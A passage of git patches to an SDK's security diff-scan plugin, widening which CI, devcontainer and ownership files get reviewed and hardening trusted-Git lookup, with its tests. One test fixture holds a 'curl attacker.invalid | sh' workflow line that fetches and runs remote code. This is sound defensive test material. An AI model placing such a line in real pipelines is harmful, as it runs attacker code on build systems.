'-C', str(target), 'update-index', '--cacheinfo', f'100644,{blob},src/app.ts'], check=True)", + "connection = sqlite3.connect(':memory:')", + "connection.row_factory = sqlite3.Row", + "metadata = target.stat()", + "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', None, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, expected, str(target.parent / 'scan'))).fetchone()", + "print(scan_target_warning(scan))", + ].join("\n"), + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + fixture.base, + ], + { encoding: "utf8" }, + ).trim(); + + expect(warning).toContain("Working-tree contents changed"); + }); + test("binds every unresolved Git merge stage into local-patch snapshot digests", async () => { const fixture = await createRepository(); const path = "src/app.ts"; @@ -1398,7 +1437,7 @@ describe("diff rank input", () => { "connection = sqlite3.connect(':memory:')", "connection.row_factory = sqlite3.Row", "metadata = target.stat()", - "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', legacy, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, legacy, str(target.parent / 'scan'))).fetchone()", + "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', None, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, selected['contentDigest'], str(target.parent / 'scan'))).fetchone()", "print(json.dumps({'modern': modern, 'legacy': legacy, 'selected': selected['contentDigest'], 'warning': scan_target_warning(scan)}))", ].join("\n"), join(PLUGIN_ROOT, "scripts"), From 39a832368a47be93ca34de13cb17ffd4666d0693 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 3 Aug 2026 07:03:37 -0700 Subject: [PATCH 25/46] fix: include overlooked CI ownership and deleted workflow content --- .../scripts/generate_rank_input.py | 14 +++++++--- .../skills/security-diff-scan/SKILL.md | 2 +- .../tests-ts/diff-rank-input.test.ts | 26 +++++++++++++++++++ 3 files changed, 38 insertions(+), 4 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 33e3fba9..7dc2f5b6 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -133,6 +133,7 @@ "CODEOWNERS", "Containerfile", "Dockerfile", + "Jenkinsfile", "compose.yaml", "compose.yml", "docker-compose.yaml", @@ -344,8 +345,6 @@ def path_is_excluded(path: Path) -> bool: def diff_path_is_security_relevant(path: Path) -> bool: - if path.parts == (".circleci", "config.yml"): - return True if path.name in SECURITY_RELEVANT_DIFF_FILENAMES: return True if path.name.startswith(("Dockerfile.", "Containerfile.")): @@ -366,6 +365,8 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: + if path.parts in {(".circleci", "config.yml"), ("docs", "CODEOWNERS")}: + return True if diff_path_is_security_relevant(path): if len(path.parts) >= 2 and path.parts[0] == ".github" and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES: return ".git" not in path.parts @@ -965,7 +966,14 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: continue if status == "D": - preview = "" + if args.mode == "local-patch" and gitlink_revision is None: + preview, is_binary = immutable_diff_preview( + repo, path, args.base, args.preview_bytes + ) + if is_binary: + continue + else: + preview = "" else: if args.mode == "revisions": preview, is_binary = immutable_diff_preview( diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index df8a0264..2c536a09 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -135,7 +135,7 @@ Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch - for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. For a changed Git submodule, inspect its recorded gitlink commit and `.gitmodules` configuration instead of treating the gitlink as a regular file. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits -- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, including each available unresolved-conflict stage with `show :1:`, `show :2:`, and `show :3:`, and separately read its working-tree version in full when it is a reviewable regular file; inspect every representation even when sampled outlines match, when one version is binary, or when the staged file no longer exists in the working tree +- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, including each available unresolved-conflict stage with `show :1:`, `show :2:`, and `show :3:`. For a staged deletion, read `:` instead. Separately read the working-tree version when it is a reviewable regular file; inspect every representation even when sampled outlines match, one version is binary, or the staged file no longer exists in the working tree - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 3d84ec47..981ec70d 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -507,10 +507,12 @@ describe("diff rank input", () => { CODEOWNERS: "* @repository-owners\n", Containerfile: "FROM scratch\n", Dockerfile: "FROM node:24-alpine\n", + Jenkinsfile: "pipeline { agent any }\n", "build/Dockerfile": "FROM node:24-alpine\n", "compose.yaml": "services:\n app:\n image: app\n", "config/nginx.conf": "server { listen 443 ssl; }\n", "docker-compose.yml": "services:\n app:\n image: app\n", + "docs/CODEOWNERS": "* @documentation-owners\n", "docs/example.py": "print('documentation example')\n", "docs/AGENTS.md": "Example instructions, not executable repository scope.\n", @@ -573,10 +575,12 @@ describe("diff rank input", () => { "CODEOWNERS", "Containerfile", "Dockerfile", + "Jenkinsfile", "build/Dockerfile", "compose.yaml", "config/nginx.conf", "docker-compose.yml", + "docs/CODEOWNERS", "infra/main.tf", "infra/variables.hcl", "policy/security.rego", @@ -1182,6 +1186,28 @@ describe("diff rank input", () => { ]); }); + test("previews the base contents of staged security-sensitive deletions", async () => { + const fixture = await createRepository(); + const path = ".github/workflows/deploy.yml"; + await writeRepositoryFile( + fixture.repository, + path, + "name: Protected deployment\non: push\n", + ); + git(fixture.repository, "add", path); + git(fixture.repository, "commit", "-qm", "add deployment workflow"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--quiet", path); + + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ + { + path, + area: "diff", + preview: "key name\nkey on", + }, + ]); + }); + test("retains security-relevant rename sources when destinations are excluded", async () => { const fixture = await createRepository(); const source = ".github/workflows/deploy.yml"; From f0e409dfdead21b3ce7f032e1d39744ac4052ca5 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 3 Aug 2026 07:14:46 -0700 Subject: [PATCH 26/46] fix: include executable devcontainer configuration in diff scans --- .../_bundled_plugin/scripts/generate_rank_input.py | 7 +++++++ sdk/typescript/tests-ts/diff-rank-input.test.ts | 4 ++++ 2 files changed, 11 insertions(+) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 7dc2f5b6..f502042e 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -367,6 +367,13 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: if path.parts in {(".circleci", "config.yml"), ("docs", "CODEOWNERS")}: return True + if len(path.parts) >= 2 and path.parts[0] == ".devcontainer": + return not any( + part in SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS for part in path.parts[1:] + ) and ( + path.suffix.lower() in SECURITY_RELEVANT_DIFF_EXTENSIONS + or diff_path_is_security_relevant(path) + ) if diff_path_is_security_relevant(path): if len(path.parts) >= 2 and path.parts[0] == ".github" and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES: return ".git" not in path.parts diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 981ec70d..212ab8e8 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -482,6 +482,8 @@ describe("diff rank input", () => { const fixture = await createRepository(); const files: Record = { ".circleci/config.yml": "version: 2.1\njobs: {}\n", + ".devcontainer/devcontainer.json": '{"postCreateCommand":"./setup.sh"}\n', + ".devcontainer/setup.sh": "#!/bin/sh\necho configuring\n", ".dockerignore": "node_modules\nvendor\n", ".github/actions/build/action.yml": "runs:\n using: composite\n", ".github/actions/vendor/checkout/action.yml": @@ -554,6 +556,8 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual( [ ".circleci/config.yml", + ".devcontainer/devcontainer.json", + ".devcontainer/setup.sh", ".dockerignore", ".github/actions/build/action.yml", ".github/actions/security/action.yml", From d326ab916996ee45d89b6cb0c1e3254e789d5fb6 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 3 Aug 2026 07:17:19 -0700 Subject: [PATCH 27/46] fix: preserve recreated files after staged workflow deletion --- .../scripts/generate_rank_input.py | 19 +++++++++++++++++++ .../tests-ts/diff-rank-input.test.ts | 15 +++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index f502042e..f2c77761 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -977,6 +977,25 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: preview, is_binary = immutable_diff_preview( repo, path, args.base, args.preview_bytes ) + if path.exists() or path.is_symlink(): + working_preview, working_binary = confined_diff_preview( + repo, path, args.preview_bytes + ) + if not working_binary: + preview = ( + working_preview + if is_binary + else fit_preview_lines( + [ + "Deleted Git base:", + *preview.splitlines(), + "Recreated working tree:", + *working_preview.splitlines(), + ], + args.preview_bytes, + ) + ) + is_binary = False if is_binary: continue else: diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 212ab8e8..586b0539 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -1210,6 +1210,21 @@ describe("diff rank input", () => { preview: "key name\nkey on", }, ]); + + await writeRepositoryFile( + fixture.repository, + path, + "name: Recreated deployment\nrun: curl attacker.invalid | sh\n", + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toEqual([ + { + path, + area: "diff", + preview: + "Deleted Git base:\nkey name\nkey on\nRecreated working tree:\nkey name\nkey run", + }, + ]); }); test("retains security-relevant rename sources when destinations are excluded", async () => { From 360ac7d35b77d80812c75587d758f21f4f7e2351 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Tue, 4 Aug 2026 00:58:39 -0700 Subject: [PATCH 28/46] fix: bind Git trust and embedded repository inventory --- .../scripts/generate_rank_input.py | 9 ++++++ sdk/typescript/src/api.ts | 13 ++++----- sdk/typescript/src/runtime.ts | 17 ++++++----- sdk/typescript/src/trusted-executable.ts | 29 +++++++++++++++++-- .../tests-ts/diff-rank-input.test.ts | 14 +++++++-- sdk/typescript/tests-ts/runtime.test.ts | 12 ++++++-- 6 files changed, 72 insertions(+), 22 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index ab5f306e..cd516d79 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -48,6 +48,7 @@ structural_outline, ) from workbench_constants import GIT_REPOSITORY_ENVIRONMENT, trusted_git_executable +from workbench_target import git_directory_snapshot_paths EXCLUDED_DIRS = { ".cache", @@ -916,6 +917,14 @@ def git_untracked_paths(repo: Path) -> list[tuple[Path, str]]: if not path.is_dir() or path.is_symlink(): paths.append((path, "A")) continue + nested_paths = git_directory_snapshot_paths(path) + if nested_paths is not None: + paths.extend( + (nested_path, "A") + for nested_path in nested_paths + if not nested_path.is_dir() or nested_path.is_symlink() + ) + continue for directory, children, files in os.walk(path, followlinks=False): children[:] = sorted(child for child in children if child != ".git") paths.extend((Path(directory) / filename, "A") for filename in sorted(files)) diff --git a/sdk/typescript/src/api.ts b/sdk/typescript/src/api.ts index 61de99cc..b77d5f0c 100644 --- a/sdk/typescript/src/api.ts +++ b/sdk/typescript/src/api.ts @@ -101,7 +101,10 @@ import { validatedGitEnvironment, validateMode, } from "./targets.js"; -import { resolveTrustedExecutable } from "./trusted-executable.js"; +import { + resolveTrustedExecutable, + trustedExecutablePath, +} from "./trusted-executable.js"; interface CodexThreadLike { readonly id: string | null; @@ -546,13 +549,7 @@ export class CodexSecurity { ); const sanitizedPath = git === null - ? ( - await resolveTrustedExecutable( - python, - pluginEnvironment, - protectedRoot, - ) - )?.environment["PATH"] + ? await trustedExecutablePath("git", pluginEnvironment, protectedRoot) : undefined; checkOpen(); const scanOutputRoot = diff --git a/sdk/typescript/src/runtime.ts b/sdk/typescript/src/runtime.ts index ee47e454..01221a36 100644 --- a/sdk/typescript/src/runtime.ts +++ b/sdk/typescript/src/runtime.ts @@ -44,7 +44,10 @@ import { PluginPythonUnavailableError, } from "./errors.js"; import type { JsonObject } from "./config.js"; -import { resolveTrustedExecutable } from "./trusted-executable.js"; +import { + resolveTrustedExecutable, + trustedExecutablePath, +} from "./trusted-executable.js"; import type { TrustedExecutable } from "./trusted-executable.js"; const execFile = promisify(execFileCallback); @@ -610,13 +613,11 @@ export async function runWorkbench( options.environment, git, git === null - ? ( - await resolveTrustedExecutable( - options.python, - options.environment, - options.protectedRoot ?? process.cwd(), - ) - )?.environment["PATH"] + ? await trustedExecutablePath( + "git", + options.environment, + options.protectedRoot ?? process.cwd(), + ) : undefined, ); let stdout: string; diff --git a/sdk/typescript/src/trusted-executable.ts b/sdk/typescript/src/trusted-executable.ts index e45b1bd4..958d1650 100644 --- a/sdk/typescript/src/trusted-executable.ts +++ b/sdk/typescript/src/trusted-executable.ts @@ -12,6 +12,33 @@ export async function resolveTrustedExecutable( environment: Readonly>, protectedRoot: string, ): Promise { + const resolved = await inspectTrustedExecutable( + candidate, + environment, + protectedRoot, + ); + return resolved.executable === null + ? null + : { executable: resolved.executable, environment: resolved.environment }; +} + +export async function trustedExecutablePath( + candidate: string, + environment: Readonly>, + protectedRoot: string, +): Promise { + return (await inspectTrustedExecutable(candidate, environment, protectedRoot)) + .environment["PATH"]!; +} + +async function inspectTrustedExecutable( + candidate: string, + environment: Readonly>, + protectedRoot: string, +): Promise<{ + executable: string | null; + environment: Record; +}> { const root = await realpath(protectedRoot).catch(() => resolve(protectedRoot), ); @@ -70,8 +97,6 @@ export async function resolveTrustedExecutable( continue; } } - if (executable === null) return null; - const sanitizedEnvironment = { ...environment }; for (const name of Object.keys(sanitizedEnvironment)) { if (name.toUpperCase() === "PATH") delete sanitizedEnvironment[name]; diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index f022ee28..26ff8993 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -499,14 +499,24 @@ describe("diff rank input", () => { git(nested, "config", "user.name", "Codex Security Test"); git(nested, "config", "user.email", "codex-security@example.invalid"); await writeRepositoryFile(nested, "action.yml", "name: local action\n"); - git(nested, "add", "action.yml"); + await writeRepositoryFile(nested, ".gitignore", "ignored.ts\n"); + await writeRepositoryFile( + nested, + "ignored.ts", + "export const unbound = 'must not be reviewed';\n", + ); + git(nested, "add", "action.yml", ".gitignore"); git(nested, "commit", "-qm", "add local action"); - expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + const rows = await runDiffRankInput(fixture, "local-patch"); + expect(rows).toContainEqual({ path: ".github/actions/local/action.yml", area: "diff", preview: "key name", }); + expect(rows.map(({ path }) => path)).not.toContain( + ".github/actions/local/ignored.ts", + ); }); test("includes ignored Git submodules staged as regular files", async () => { diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index 81fdac1e..cb91d6cd 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1983,13 +1983,18 @@ describe("runtime directories and plugin Python boundary", () => { const root = await temporaryDirectory(); const repository = join(root, "repository"); const protectedBinaries = join(repository, "node_modules", ".bin"); + const unsafeBinaries = join(root, "unsafe-binaries"); const safeBinaries = join(root, "trusted-binaries"); const pluginRoot = join(root, "plugin"); await Promise.all([ mkdir(protectedBinaries, { recursive: true }), + mkdir(unsafeBinaries, { recursive: true }), mkdir(safeBinaries, { recursive: true }), mkdir(join(pluginRoot, "scripts"), { recursive: true }), ]); + const repositoryGit = join(repository, "git"); + await writeFile(repositoryGit, "#!/bin/sh\nexit 1\n", { mode: 0o700 }); + await symlink(repositoryGit, join(unsafeBinaries, "git")); await writeFile( join(safeBinaries, "rg"), "#!/bin/sh\nprintf '%s\\n' trusted-ripgrep\n", @@ -1998,9 +2003,10 @@ describe("runtime directories and plugin Python boundary", () => { await writeFile( join(pluginRoot, "scripts", "workbench_db.py"), [ - "import json, os, subprocess", + "import json, os, shutil, subprocess", "assert os.environ.get('GIT_CONFIG_COUNT') is None", "assert os.environ['CODEX_SECURITY_GIT'] == ''", + "assert shutil.which('git') is None", "result = subprocess.run(['rg'], check=True, capture_output=True, text=True)", "print(json.dumps({'path': os.environ['PATH'], 'output': result.stdout.strip()}))", ].join("\n"), @@ -2014,7 +2020,9 @@ describe("runtime directories and plugin Python boundary", () => { pluginRoot, protectedRoot: repository, environment: { - PATH: `${protectedBinaries}${delimiter}${safeBinaries}`, + PATH: [unsafeBinaries, protectedBinaries, safeBinaries].join( + delimiter, + ), GIT_CONFIG_COUNT: "1", }, }, From eb8930eb610ec31b363bfc37dca110f680c7d5d8 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Tue, 4 Aug 2026 01:11:02 -0700 Subject: [PATCH 29/46] fix: protect nested scans with their outer Git boundary --- sdk/typescript/src/trusted-executable.ts | 22 +++++++++--- .../tests-ts/trusted-executable.test.ts | 36 +++++++++++++++++++ 2 files changed, 54 insertions(+), 4 deletions(-) diff --git a/sdk/typescript/src/trusted-executable.ts b/sdk/typescript/src/trusted-executable.ts index 958d1650..ad684faf 100644 --- a/sdk/typescript/src/trusted-executable.ts +++ b/sdk/typescript/src/trusted-executable.ts @@ -1,6 +1,14 @@ import { constants } from "node:fs"; import { access, realpath, stat } from "node:fs/promises"; -import { delimiter, isAbsolute, join, relative, resolve, sep } from "node:path"; +import { + delimiter, + dirname, + isAbsolute, + join, + relative, + resolve, + sep, +} from "node:path"; export interface TrustedExecutable { executable: string; @@ -39,9 +47,15 @@ async function inspectTrustedExecutable( executable: string | null; environment: Record; }> { - const root = await realpath(protectedRoot).catch(() => - resolve(protectedRoot), - ); + let root = await realpath(protectedRoot).catch(() => resolve(protectedRoot)); + let ancestor = dirname(root); + while (true) { + const marker = await stat(join(ancestor, ".git")).catch(() => null); + if (marker?.isDirectory() || marker?.isFile()) root = ancestor; + const parent = dirname(ancestor); + if (parent === ancestor) break; + ancestor = parent; + } const path = Object.entries(environment).find( ([name]) => name.toUpperCase() === "PATH", )?.[1]; diff --git a/sdk/typescript/tests-ts/trusted-executable.test.ts b/sdk/typescript/tests-ts/trusted-executable.test.ts index 34db4501..2321f83e 100644 --- a/sdk/typescript/tests-ts/trusted-executable.test.ts +++ b/sdk/typescript/tests-ts/trusted-executable.test.ts @@ -110,6 +110,42 @@ describe("trusted executable resolution", () => { }, ); + test.skipIf(process.platform === "win32")( + "rejects Git shims owned by the outer checkout of a nested repository", + async () => { + const root = await temporaryDirectory(); + const checkout = join(root, "checkout"); + const nested = join(checkout, "vendor", "nested"); + const unsafe = join(checkout, "node_modules", ".bin"); + const trusted = join(root, "trusted"); + await Promise.all([ + mkdir(join(checkout, ".git"), { recursive: true }), + mkdir(join(nested, ".git"), { recursive: true }), + mkdir(unsafe, { recursive: true }), + mkdir(trusted), + ]); + await Promise.all([ + writeFile(join(unsafe, "git"), "#!/bin/sh\nexit 1\n", { + mode: 0o700, + }), + writeFile(join(trusted, "git"), "#!/bin/sh\nexit 0\n", { + mode: 0o700, + }), + ]); + + expect( + await resolveTrustedExecutable( + "git", + { PATH: [unsafe, trusted].join(delimiter) }, + nested, + ), + ).toEqual({ + executable: join(trusted, "git"), + environment: { PATH: trusted }, + }); + }, + ); + test("selects runnable Windows executables ahead of extensionless and batch files", async () => { const root = await temporaryDirectory(); const repository = join(root, "repository"); From fd767e8d2ef162d314159b74bcb323fff79a0690 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Tue, 4 Aug 2026 01:24:07 -0700 Subject: [PATCH 30/46] fix: pin legacy sealed diff scan manifests --- .../_bundled_plugin/scripts/workbench_db.py | 2 ++ sdk/typescript/tests-ts/scan-recovery.test.ts | 33 +++++++++++++++++-- 2 files changed, 33 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 1ab78353..5f301ee4 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -1411,6 +1411,8 @@ def complete_scan_locked( _validate_existing_seal(scan_dir, manifest["scan"]) except ContractError as exc: raise SystemExit(str(exc)) from exc + manifest_digest = published_manifest_digest(scan_dir, manifest) + pin_legacy_manifest_digest(connection, scan["id"], manifest_digest) return scan_context(connection, scan["id"]) try: manifest, _, _ = finalize_scan( diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index 9c453c43..94cc3e52 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -461,14 +461,14 @@ describe("malformed scan artifact recovery", () => { "-B", "-c", [ - "import hashlib, json, pathlib, sqlite3, sys", + "import json, pathlib, sqlite3, sys", "manifest_path = pathlib.Path(sys.argv[1])", "manifest = json.loads(manifest_path.read_text(encoding='utf-8'))", "manifest['scan']['target'].pop('snapshotDigest', None)", "encoded = (json.dumps(manifest, allow_nan=False, indent=2, sort_keys=True) + '\\n').encode()", "manifest_path.write_bytes(encoded)", "with sqlite3.connect(sys.argv[2]) as connection:", - " connection.execute('UPDATE scans SET diff_content_digest = NULL, seal_manifest_digest = ? WHERE id = ?', ('sha256:' + hashlib.sha256(encoded).hexdigest(), sys.argv[3]))", + " connection.execute('UPDATE scans SET diff_content_digest = NULL, seal_manifest_digest = NULL WHERE id = ?', (sys.argv[3],))", " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[3],))", ].join("\n"), manifestPath, @@ -486,6 +486,35 @@ describe("malformed scan artifact recovery", () => { }>(manifestPath) ).scan.target.snapshotDigest, ).toBeUndefined(); + + const verifyLegacyManifestDigest = spawnSync( + fixture.python, + [ + "-I", + "-B", + "-c", + [ + "import hashlib, pathlib, sqlite3, sys", + "digest = 'sha256:' + hashlib.sha256(pathlib.Path(sys.argv[1]).read_bytes()).hexdigest()", + "with sqlite3.connect(sys.argv[2]) as connection:", + " recorded = connection.execute('SELECT seal_manifest_digest FROM scans WHERE id = ?', (sys.argv[3],)).fetchone()[0]", + "assert recorded == digest, recorded", + ].join("\n"), + manifestPath, + join(fixture.stateDir, "workbench.sqlite3"), + fixture.scanId, + ], + { encoding: "utf8" }, + ); + expect( + verifyLegacyManifestDigest.status, + verifyLegacyManifestDigest.stderr, + ).toBe(0); + + await writeFile(manifestPath, `${await readFile(manifestPath, "utf8")}\n`); + await expect(completeScan(fixture)).rejects.toThrow( + "The sealed scan manifest changed after completion.", + ); }); test("seals a prepared scan without publishing it before acceptance", async () => { From ea71a8803354f4663f83ea73956e6e5a46b13fa2 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Wed, 5 Aug 2026 09:34:11 -0700 Subject: [PATCH 31/46] fix: narrow diff review to security-relevant changed files --- sdk/typescript/_bundled_plugin/.mcp.json | 1 - .../scripts/generate_rank_input.py | 568 +------- .../scripts/workbench_constants.py | 54 - .../_bundled_plugin/scripts/workbench_db.py | 104 +- .../scripts/workbench_target.py | 120 +- .../skills/security-diff-scan/SKILL.md | 2 - sdk/typescript/src/api.ts | 36 +- sdk/typescript/src/runtime.ts | 46 +- sdk/typescript/src/trusted-executable.ts | 49 +- sdk/typescript/tests-ts/api.test.ts | 12 +- .../tests-ts/diff-rank-input.test.ts | 1218 +---------------- sdk/typescript/tests-ts/runtime.test.ts | 265 +--- sdk/typescript/tests-ts/scan-recovery.test.ts | 204 +-- .../tests-ts/trusted-executable.test.ts | 36 - 14 files changed, 134 insertions(+), 2581 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/.mcp.json b/sdk/typescript/_bundled_plugin/.mcp.json index 547171c2..d519616e 100644 --- a/sdk/typescript/_bundled_plugin/.mcp.json +++ b/sdk/typescript/_bundled_plugin/.mcp.json @@ -9,7 +9,6 @@ "CODEX_SQLITE_HOME", "CODEX_API_KEY", "CODEX_CLI_PATH", - "CODEX_SECURITY_GIT", "PYTHON", "CODEX_SECURITY_KNOWLEDGE_BASE", "CODEX_SECURITY_SCAN_ROOT", diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 099a35e5..e965fa5d 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -47,8 +47,6 @@ select_preview_lines, structural_outline, ) -from workbench_constants import GIT_REPOSITORY_ENVIRONMENT, trusted_git_executable -from workbench_target import git_directory_snapshot_paths EXCLUDED_DIRS = { ".cache", @@ -128,13 +126,12 @@ SECURITY_RELEVANT_DIFF_FILENAMES = { ".dockerignore", - ".gitmodules", "AGENTS.md", "CLAUDE.md", "CODEOWNERS", "Containerfile", "Dockerfile", - "Jenkinsfile", + "SECURITY.md", "compose.yaml", "compose.yml", "docker-compose.yaml", @@ -147,37 +144,6 @@ "workflows", } -SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS = { - ".git", - "doc", - "docs", - "example", - "examples", - "external", - "extern", - "fixture", - "fixtures", - "node_modules", - "sample", - "samples", - "third-party", - "third_party", - "vendor", -} - -SECURITY_RELEVANT_DIFF_EXTENSIONS = { - *TEXT_CODE_EXTENSIONS, - ".cjs", - ".conf", - ".env", - ".hcl", - ".ini", - ".properties", - ".rego", - ".tf", - ".tfvars", -} - SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES = { "CODEOWNERS", "copilot-instructions.md", @@ -346,6 +312,8 @@ def path_is_excluded(path: Path) -> bool: def diff_path_is_security_relevant(path: Path) -> bool: + if path.parts[0] in {".circleci", ".devcontainer"}: + return True if path.name in SECURITY_RELEVANT_DIFF_FILENAMES: return True if path.name.startswith(("Dockerfile.", "Containerfile.")): @@ -357,8 +325,6 @@ def diff_path_is_security_relevant(path: Path) -> bool: and path.parts[0] == ".github" and ( path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES - or path.parts[1] == "instructions" - and path.name.endswith(".instructions.md") or len(path.parts) == 2 and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_FILENAMES ) @@ -366,48 +332,31 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: - if path.parts in {(".circleci", "config.yml"), ("docs", "CODEOWNERS")}: + if path.parts == ("docs", "CODEOWNERS"): return True - if ( - len(path.parts) >= 2 - and path.parts[0] == ".github" - and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES - ): - return ".git" not in path.parts - if any(part in SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS for part in path.parts): - return False if diff_path_is_security_relevant(path): - return True - if path.parts[0] != ".devcontainer" and path_is_excluded(path): - return False - return ( - path.suffix.lower() in SECURITY_RELEVANT_DIFF_EXTENSIONS - or path.name == ".env" - or path.name.startswith(".env.") - ) + return not any( + part in EXCLUDED_DIRS and part not in {".github", ".circleci", ".devcontainer"} + for part in path.parts + ) + return not path_is_excluded(path) def confined_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str, bool]: - def reject_unsafe_path(cause: BaseException | None 